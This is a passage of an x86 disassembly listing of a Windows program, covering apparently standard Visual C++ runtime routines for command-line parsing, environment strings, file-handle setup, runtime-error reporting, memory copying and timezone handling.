CODE XREF: sub_404972+FCj cmp byte ptr [eax], 5Ch jnz short loc_404A70 inc eax inc ebx jmp short loc_404A67 ; --------------------------------------------------------------------------- loc_404A70: ; CODE XREF: sub_404972+F8j cmp byte ptr [eax], 22h jnz short loc_404AA1 test bl, 1 jnz short loc_404A9F xor edi, edi cmp [ebp+arg_10], edi jz short loc_404A8E cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_404A8E mov eax, edx jmp short loc_404A91 ; --------------------------------------------------------------------------- loc_404A8E: ; CODE XREF: sub_404972+10Dj ; sub_404972+116j mov [ebp+arg_0], edi loc_404A91: ; CODE XREF: sub_404972+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_404A9F: ; CODE XREF: sub_404972+106j shr ebx, 1 loc_404AA1: ; CODE XREF: sub_404972+101j mov edx, ebx dec ebx test edx, edx jz short loc_404AB6 inc ebx loc_404AA9: ; CODE XREF: sub_404972+142j test esi, esi jz short loc_404AB1 mov byte ptr [esi], 5Ch inc esi loc_404AB1: ; CODE XREF: sub_404972+139j inc dword ptr [ecx] dec ebx jnz short loc_404AA9 loc_404AB6: ; CODE XREF: sub_404972+134j mov dl, [eax] test dl, dl jz short loc_404B06 cmp [ebp+arg_10], 0 jnz short loc_404ACC cmp dl, 20h jz short loc_404B06 cmp dl, 9 jz short loc_404B06 loc_404ACC: ; CODE XREF: sub_404972+14Ej cmp [ebp+arg_0], 0 jz short loc_404B00 test esi, esi jz short loc_404AEF movzx ebx, dl test byte_517421[ebx], 4 jz short loc_404AE8 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_404AE8: ; CODE XREF: sub_404972+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_404AFE ; --------------------------------------------------------------------------- loc_404AEF: ; CODE XREF: sub_404972+162j movzx edx, dl test byte_517421[edx], 4 jz short loc_404AFE inc eax inc dword ptr [ecx] loc_404AFE: ; CODE XREF: sub_404972+17Bj ; sub_404972+187j inc dword ptr [ecx] loc_404B00: ; CODE XREF: sub_404972+15Ej inc eax jmp loc_404A5E ; --------------------------------------------------------------------------- loc_404B06: ; CODE XREF: sub_404972+148j ; sub_404972+153j ... test esi, esi jz short loc_404B0E and byte ptr [esi], 0 inc esi loc_404B0E: ; CODE XREF: sub_404972+196j inc dword ptr [ecx] jmp loc_404A2C ; --------------------------------------------------------------------------- loc_404B15: ; CODE XREF: sub_404972+BDj ; sub_404972+D5j test edi, edi jz short loc_404B1C and dword ptr [edi], 0 loc_404B1C: ; CODE XREF: sub_404972+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_404972 endp ; =============== S U B R O U T I N E ======================================= sub_404B26 proc near ; CODE XREF: sub_402EE0+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_409BF4 push ebx push ebp mov ebp, dword_4080C8 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_404B74 call ebp mov esi, eax cmp esi, ebx jz short loc_404B55 mov dword_409BF4, 1 jmp short loc_404B7D ; --------------------------------------------------------------------------- loc_404B55: ; CODE XREF: sub_404B26+21j call dword_4080C4 mov edi, eax cmp edi, ebx jz loc_404C4F mov dword_409BF4, 2 jmp loc_404C03 ; --------------------------------------------------------------------------- loc_404B74: ; CODE XREF: sub_404B26+19j cmp eax, 1 jnz loc_404BFE loc_404B7D: ; CODE XREF: sub_404B26+2Dj cmp esi, ebx jnz short loc_404B8D call ebp mov esi, eax cmp esi, ebx jz loc_404C4F loc_404B8D: ; CODE XREF: sub_404B26+59j cmp [esi], bx mov eax, esi jz short loc_404BA2 loc_404B94: ; CODE XREF: sub_404B26+73j ; sub_404B26+7Aj inc eax inc eax cmp [eax], bx jnz short loc_404B94 inc eax inc eax cmp [eax], bx jnz short loc_404B94 loc_404BA2: ; CODE XREF: sub_404B26+6Cj sub eax, esi mov edi, dword_4080C0 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_404BF3 push ebp call sub_4028C6 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_404BF3 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi test eax, eax jnz short loc_404BEF push [esp+18h+var_8] call sub_402B18 pop ecx mov [esp+18h+var_8], ebx loc_404BEF: ; CODE XREF: sub_404B26+B9j mov ebx, [esp+18h+var_8] loc_404BF3: ; CODE XREF: sub_404B26+99j ; sub_404B26+A8j push esi call dword_4080BC mov eax, ebx jmp short loc_404C51 ; --------------------------------------------------------------------------- loc_404BFE: ; CODE XREF: sub_404B26+51j cmp eax, 2 jnz short loc_404C4F loc_404C03: ; CODE XREF: sub_404B26+49j cmp edi, ebx jnz short loc_404C13 call dword_4080C4 mov edi, eax cmp edi, ebx jz short loc_404C4F loc_404C13: ; CODE XREF: sub_404B26+DFj cmp [edi], bl mov eax, edi jz short loc_404C23 loc_404C19: ; CODE XREF: sub_404B26+F6j ; sub_404B26+FBj inc eax cmp [eax], bl jnz short loc_404C19 inc eax cmp [eax], bl jnz short loc_404C19 loc_404C23: ; CODE XREF: sub_404B26+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_4028C6 mov esi, eax pop ecx cmp esi, ebx jnz short loc_404C39 xor esi, esi jmp short loc_404C44 ; --------------------------------------------------------------------------- loc_404C39: ; CODE XREF: sub_404B26+10Dj push ebp push edi push esi call sub_4063C0 add esp, 0Ch loc_404C44: ; CODE XREF: sub_404B26+111j push edi call dword_4080B8 mov eax, esi jmp short loc_404C51 ; --------------------------------------------------------------------------- loc_404C4F: ; CODE XREF: sub_404B26+39j ; sub_404B26+61j ... xor eax, eax loc_404C51: ; CODE XREF: sub_404B26+D6j ; sub_404B26+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_404B26 endp ; =============== S U B R O U T I N E ======================================= sub_404C58 proc near ; CODE XREF: sub_402EE0+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_4028C6 mov esi, eax pop ecx test esi, esi jnz short loc_404C78 push 1Bh call sub_402FD6 pop ecx loc_404C78: ; CODE XREF: sub_404C58+16j mov dword_518560, esi mov dword_518660, 20h lea eax, [esi+100h] loc_404C8E: ; CODE XREF: sub_404C58+52j cmp esi, eax jnb short loc_404CAC and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_518560 add esi, 8 add eax, 100h jmp short loc_404C8E ; --------------------------------------------------------------------------- loc_404CAC: ; CODE XREF: sub_404C58+38j lea eax, [esp+54h+var_44] push eax call dword_408094 cmp word ptr [esp+54h+var_14+2], 0 jz loc_404D88 mov eax, [esp+54h+var_10] test eax, eax jz loc_404D88 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_404CE2 mov esi, eax loc_404CE2: ; CODE XREF: sub_404C58+86j cmp dword_518660, esi jge short loc_404D3C mov edi, offset dword_518564 loc_404CEF: ; CODE XREF: sub_404C58+DAj push 100h call sub_4028C6 test eax, eax pop ecx jz short loc_404D36 add dword_518660, 20h mov [edi], eax lea ecx, [eax+100h] loc_404D0D: ; CODE XREF: sub_404C58+CFj cmp eax, ecx jnb short loc_404D29 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_404D0D ; --------------------------------------------------------------------------- loc_404D29: ; CODE XREF: sub_404C58+B7j add edi, 4 cmp dword_518660, esi jl short loc_404CEF jmp short loc_404D3C ; --------------------------------------------------------------------------- loc_404D36: ; CODE XREF: sub_404C58+A4j mov esi, dword_518660 loc_404D3C: ; CODE XREF: sub_404C58+90j ; sub_404C58+DCj xor edi, edi test esi, esi jle short loc_404D88 loc_404D42: ; CODE XREF: sub_404C58+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_404D7F mov cl, [ebp+0] test cl, 1 jz short loc_404D7F test cl, 8 jnz short loc_404D61 push eax call dword_4080D4 test eax, eax jz short loc_404D7F loc_404D61: ; CODE XREF: sub_404C58+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_518560[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_404D7F: ; CODE XREF: sub_404C58+EFj ; sub_404C58+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_404D42 loc_404D88: ; CODE XREF: sub_404C58+65j ; sub_404C58+71j ... xor ebx, ebx loc_404D8A: ; CODE XREF: sub_404C58+195j mov eax, dword_518560 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_404DE5 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_404DA5 push 0FFFFFFF6h pop eax jmp short loc_404DAF ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404C58+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_404DAF: ; CODE XREF: sub_404C58+14Bj push eax call dword_4080D0 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_404DD4 push edi call dword_4080D4 test eax, eax jz short loc_404DD4 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_404DDA loc_404DD4: ; CODE XREF: sub_404C58+163j ; sub_404C58+16Ej or byte ptr [esi+4], 40h jmp short loc_404DE9 ; --------------------------------------------------------------------------- loc_404DDA: ; CODE XREF: sub_404C58+17Aj cmp eax, 3 jnz short loc_404DE9 or byte ptr [esi+4], 8 jmp short loc_404DE9 ; --------------------------------------------------------------------------- loc_404DE5: ; CODE XREF: sub_404C58+13Ej or byte ptr [esi+4], 80h loc_404DE9: ; CODE XREF: sub_404C58+180j ; sub_404C58+185j ... inc ebx cmp ebx, 3 jl short loc_404D8A push dword_518660 call dword_4080CC pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_404C58 endp ; =============== S U B R O U T I N E ======================================= sub_404E03 proc near ; CODE XREF: sub_402FD6+9p ; sub_402FFB+9p mov eax, dword_409AE0 cmp eax, 1 jz short loc_404E1A test eax, eax jnz short locret_404E3B cmp dword_4090E4, 1 jnz short locret_404E3B loc_404E1A: ; CODE XREF: sub_404E03+8j push 0FCh call sub_404E3C mov eax, dword_409BF8 pop ecx test eax, eax jz short loc_404E30 call eax loc_404E30: ; CODE XREF: sub_404E03+29j push 0FFh call sub_404E3C pop ecx locret_404E3B: ; CODE XREF: sub_404E03+Cj ; sub_404E03+15j retn sub_404E03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E3C proc near ; CODE XREF: sub_402FD6+12p ; sub_402FFB+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4093A0 loc_404E4F: ; CODE XREF: sub_404E3C+20j cmp edx, [eax] jz short loc_404E5E add eax, 8 inc ecx cmp eax, offset dword_409430 jl short loc_404E4F loc_404E5E: ; CODE XREF: sub_404E3C+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4093A0[esi] jnz loc_404F8C mov eax, dword_409AE0 cmp eax, 1 jz loc_404F66 test eax, eax jnz short loc_404E8F cmp dword_4090E4, 1 jz loc_404F66 loc_404E8F: ; CODE XREF: sub_404E3C+44j cmp edx, 0FCh jz loc_404F8C lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_408054 test eax, eax jnz short loc_404EC6 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4062D0 pop ecx pop ecx loc_404EC6: ; CODE XREF: sub_404E3C+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_405B90 inc eax pop ecx cmp eax, 3Ch jbe short loc_404F09 lea eax, [ebp+var_1A4] push eax call sub_405B90 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_406780 add esp, 10h loc_404F09: ; CODE XREF: sub_404E3C+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4062D0 lea eax, [ebp+var_A0] push edi push eax call sub_4062E0 lea eax, [ebp+var_A0] push offset asc_40846C ; "\n\n" push eax call sub_4062E0 push off_4093A4[esi] lea eax, [ebp+var_A0] push eax call sub_4062E0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_4066F5 add esp, 2Ch pop edi jmp short loc_404F8C ; --------------------------------------------------------------------------- loc_404F66: ; CODE XREF: sub_404E3C+3Cj ; sub_404E3C+4Dj lea eax, [ebp+arg_0] lea esi, off_4093A4[esi] push 0 push eax push dword ptr [esi] call sub_405B90 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_4080D0 push eax call dword_408048 loc_404F8C: ; CODE XREF: sub_404E3C+2Ej ; sub_404E3C+59j ... pop esi leave retn sub_404E3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F90 proc near ; CODE XREF: sub_4030DF+2EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_404FB0 cmp edi, eax jb loc_405128 loc_404FB0: ; CODE XREF: sub_404F90+16j test edi, 3 jnz short loc_404FCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404FEC rep movsd jmp off_4050D8[edx*4] ; --------------------------------------------------------------------------- loc_404FCC: ; CODE XREF: sub_404F90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_404FE4 and eax, 3 add ecx, eax jmp dword ptr loc_404FEC+4[eax*4] ; --------------------------------------------------------------------------- loc_404FE4: ; CODE XREF: sub_404F90+46j jmp dword ptr loc_4050E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_404FEC: ; CODE XREF: sub_404F90+31j ; sub_404F90+8Ej ... jmp off_40506C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_405000 dd offset loc_40502C dd offset loc_405050 ; --------------------------------------------------------------------------- loc_405000: ; DATA XREF: sub_404F90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_404FEC rep movsd jmp off_4050D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40502C: ; DATA XREF: sub_404F90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_404FEC rep movsd jmp off_4050D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_405050: ; DATA XREF: sub_404F90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_404FEC rep movsd jmp off_4050D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40506C dd offset loc_4050CF ; DATA XREF: sub_404F90:loc_404FECr dd offset loc_4050BC dd offset loc_4050B4 dd offset loc_4050AC dd offset loc_4050A4 dd offset loc_40509C dd offset loc_405094 dd offset loc_40508C ; --------------------------------------------------------------------------- loc_40508C: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_405094: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40509C: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4050A4: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4050AC: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4050B4: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4050BC: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4050CF: ; CODE XREF: sub_404F90:loc_404FECj ; DATA XREF: sub_404F90:off_40506Co jmp off_4050D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4050D8 dd offset loc_4050E8 ; DATA XREF: sub_404F90+35r ; sub_404F90+92r ... dd offset loc_4050F0 dd offset loc_4050FC dd offset loc_405110 ; --------------------------------------------------------------------------- loc_4050E8: ; CODE XREF: sub_404F90+35j ; sub_404F90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4050F0: ; CODE XREF: sub_404F90+35j ; sub_404F90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4050FC: ; CODE XREF: sub_404F90+35j ; sub_404F90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_405110: ; CODE XREF: sub_404F90+35j ; sub_404F90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_405128: ; CODE XREF: sub_404F90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40515C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_405150 std rep movsd cld jmp off_405270[edx*4] ; --------------------------------------------------------------------------- align 10h loc_405150: ; CODE XREF: sub_404F90+1B1j ; sub_404F90+208j ... neg ecx jmp off_405220[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40515C: ; CODE XREF: sub_404F90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_405174 and eax, 3 sub ecx, eax jmp dword ptr loc_405174+4[eax*4] ; --------------------------------------------------------------------------- loc_405174: ; CODE XREF: sub_404F90+1D6j ; DATA XREF: sub_404F90+1DDr jmp off_405270[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ecx+40h], dl add [eax-2FFFBFAFh], ch push ecx inc eax add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_405150 std rep movsd cld jmp off_405270[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_405150 std rep movsd cld jmp off_405270[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_405150 std rep movsd cld jmp off_405270[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_405224 dd offset loc_40522C dd offset loc_405234 dd offset loc_40523C dd offset loc_405244 dd offset loc_40524C dd offset loc_405254 off_405220 dd offset loc_405267 ; DATA XREF: sub_404F90+1C2r ; --------------------------------------------------------------------------- loc_405224: ; DATA XREF: sub_404F90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40522C: ; DATA XREF: sub_404F90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_405234: ; DATA XREF: sub_404F90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40523C: ; DATA XREF: sub_404F90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_405244: ; DATA XREF: sub_404F90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40524C: ; DATA XREF: sub_404F90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_405254: ; DATA XREF: sub_404F90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_405267: ; CODE XREF: sub_404F90+1C2j ; DATA XREF: sub_404F90:off_405220o jmp off_405270[edx*4] ; --------------------------------------------------------------------------- align 10h off_405270 dd offset loc_405280 ; DATA XREF: sub_404F90+1B7r ; sub_404F90:loc_405174r ... dd offset loc_405288 dd offset loc_405298 dd offset loc_4052AC ; --------------------------------------------------------------------------- loc_405280: ; CODE XREF: sub_404F90+1B7j ; sub_404F90:loc_405174j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_405288: ; CODE XREF: sub_404F90+1B7j ; sub_404F90:loc_405174j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_405298: ; CODE XREF: sub_404F90+1B7j ; sub_404F90:loc_405174j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4052AC: ; CODE XREF: sub_404F90+1B7j ; sub_404F90:loc_405174j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_404F90 endp ; =============== S U B R O U T I N E ======================================= sub_4052C5 proc near ; CODE XREF: sub_403BB5:loc_403BF4p cmp dword_409CB8, 0 jnz short locret_4052D9 call sub_4052DA inc dword_409CB8 locret_4052D9: ; CODE XREF: sub_4052C5+7j retn sub_4052C5 endp ; =============== S U B R O U T I N E ======================================= sub_4052DA proc near ; CODE XREF: sub_4052C5+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_409C00, ebp mov dword_4094D8, ebx mov dword_4094C8, ebx call sub_406904 mov esi, eax pop ecx cmp esi, ebp jnz loc_405403 push offset dword_409C08 call dword_40807C cmp eax, ebx jz loc_405532 mov eax, dword_409C08 mov ecx, dword_409C5C imul eax, 3Ch cmp word_409C4E, bp push 1 pop edx mov dword_409430, eax mov dword_409C00, edx jz short loc_405351 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_409430, eax loc_405351: ; CODE XREF: sub_4052DA+69j cmp word_409CA2, bp jz short loc_405375 mov eax, dword_409CB0 cmp eax, ebp jz short loc_405375 sub eax, ecx mov dword_409434, edx imul eax, 3Ch mov dword_409438, eax jmp short loc_405381 ; --------------------------------------------------------------------------- loc_405375: ; CODE XREF: sub_4052DA+7Ej ; sub_4052DA+87j mov dword_409434, ebp mov dword_409438, ebp loc_405381: ; CODE XREF: sub_4052DA+99j lea eax, [esp+14h+var_4] mov esi, dword_4080C0 push eax push ebp push 3Fh mov edi, 220h push off_4094BC push ebx push offset dword_409C0C push edi push dword_409CEC call esi test eax, eax jz short loc_4053BE cmp [esp+14h+var_4], ebp jnz short loc_4053BE mov eax, off_4094BC and byte ptr [eax+3Fh], 0 jmp short loc_4053C6 ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: sub_4052DA+D1j ; sub_4052DA+D7j mov eax, off_4094BC and byte ptr [eax], 0 loc_4053C6: ; CODE XREF: sub_4052DA+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4094C0 push ebx push offset dword_409C60 push edi push dword_409CEC call esi test eax, eax jz loc_40552A cmp [esp+14h+var_4], ebp jnz loc_40552A mov eax, off_4094C0 and byte ptr [eax+3Fh], 0 jmp loc_405532 ; --------------------------------------------------------------------------- loc_405403: ; CODE XREF: sub_4052DA+2Dj cmp byte ptr [esi], 0 jz loc_405532 mov eax, dword_409CB4 cmp eax, ebp jz short loc_405426 push eax push esi call sub_406880 pop ecx test eax, eax pop ecx jz loc_405532 loc_405426: ; CODE XREF: sub_4052DA+139j push dword_409CB4 call sub_402B18 push esi call sub_405B90 inc eax push eax call sub_4028C6 add esp, 0Ch cmp eax, ebp mov dword_409CB4, eax jz loc_405532 push esi push eax call sub_4062D0 push 3 push esi push off_4094BC call sub_406780 mov eax, off_4094BC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_40547B push 1 inc esi pop edi loc_40547B: ; CODE XREF: sub_4052DA+19Bj push esi call sub_402BE9 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_409430, ecx loc_405492: ; CODE XREF: sub_4052DA+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4054A0 cmp al, bl jl short loc_4054A3 cmp al, 39h jg short loc_4054A3 loc_4054A0: ; CODE XREF: sub_4052DA+1BCj inc esi jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054A3: ; CODE XREF: sub_4052DA+1C0j ; sub_4052DA+1C4j cmp byte ptr [esi], 3Ah jnz short loc_4054F6 inc esi push esi call sub_402BE9 imul eax, 3Ch pop ecx mov ecx, dword_409430 add ecx, eax mov dword_409430, ecx loc_4054C1: ; CODE XREF: sub_4052DA+1F2j mov al, [esi] cmp al, bl jl short loc_4054CE cmp al, 39h jg short loc_4054CE inc esi jmp short loc_4054C1 ; --------------------------------------------------------------------------- loc_4054CE: ; CODE XREF: sub_4052DA+1EBj ; sub_4052DA+1EFj cmp byte ptr [esi], 3Ah jnz short loc_4054F6 inc esi push esi call sub_402BE9 pop ecx mov ecx, dword_409430 add ecx, eax mov dword_409430, ecx loc_4054E9: ; CODE XREF: sub_4052DA+21Aj mov al, [esi] cmp al, bl jl short loc_4054F6 cmp al, 39h jg short loc_4054F6 inc esi jmp short loc_4054E9 ; --------------------------------------------------------------------------- loc_4054F6: ; CODE XREF: sub_4052DA+1CCj ; sub_4052DA+1F7j ... cmp edi, ebp jz short loc_405502 neg ecx mov dword_409430, ecx loc_405502: ; CODE XREF: sub_4052DA+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_409434, eax jz short loc_40552A push 3 push esi push off_4094C0 call sub_406780 mov eax, off_4094C0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_405532 ; --------------------------------------------------------------------------- loc_40552A: ; CODE XREF: sub_4052DA+10Bj ; sub_4052DA+115j ... mov eax, off_4094C0 and byte ptr [eax], 0 loc_405532: ; CODE XREF: sub_4052DA+40j ; sub_4052DA+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4052DA endp ; =============== S U B R O U T I N E ======================================= sub_405538 proc near ; CODE XREF: sub_403BB5+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_409434, edi jnz short loc_40554C loc_405545: ; CODE XREF: sub_405538+148j ; sub_405538+150j ... xor eax, eax jmp loc_405698 ; --------------------------------------------------------------------------- loc_40554C: ; CODE XREF: sub_405538+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4094C8 jnz short loc_40556A cmp eax, dword_4094D8 jz loc_40566C loc_40556A: ; CODE XREF: sub_405538+24j cmp dword_409C00, edi jz loc_405642 movzx ecx, word_409CAE push ecx cmp word_409CA0, di movzx ecx, word_409CAC push ecx movzx ecx, word_409CAA push ecx movzx ecx, word_409CA8 push ecx jnz short loc_4055BC movzx ecx, word_409CA4 push edi push ecx movzx ecx, word_409CA6 push ecx movzx ecx, word_409CA2 push ecx push eax push ebx jmp short loc_4055D0 ; --------------------------------------------------------------------------- loc_4055BC: ; CODE XREF: sub_405538+65j movzx ecx, word_409CA6 push ecx push edi movzx ecx, word_409CA2 push edi push ecx push eax push edi loc_4055D0: ; CODE XREF: sub_405538+82j push ebx call sub_4056E4 movzx eax, word_409C5A add esp, 2Ch cmp word_409C4C, di push eax movzx eax, word_409C58 push eax movzx eax, word_409C56 push eax movzx eax, word_409C54 push eax jnz short loc_40562A movzx eax, word_409C50 push edi push eax movzx eax, word_409C52 push eax movzx eax, word_409C4E push eax push dword ptr [esi+14h] push ebx loc_40561F: ; CODE XREF: sub_405538+108j push edi call sub_4056E4 add esp, 2Ch jmp short loc_40566C ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_405538+C8j movzx eax, word_409C52 push eax push edi movzx eax, word_409C4E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_40561F ; --------------------------------------------------------------------------- loc_405642: ; CODE XREF: sub_405538+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_4056E4 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_4056E4 add esp, 58h loc_40566C: ; CODE XREF: 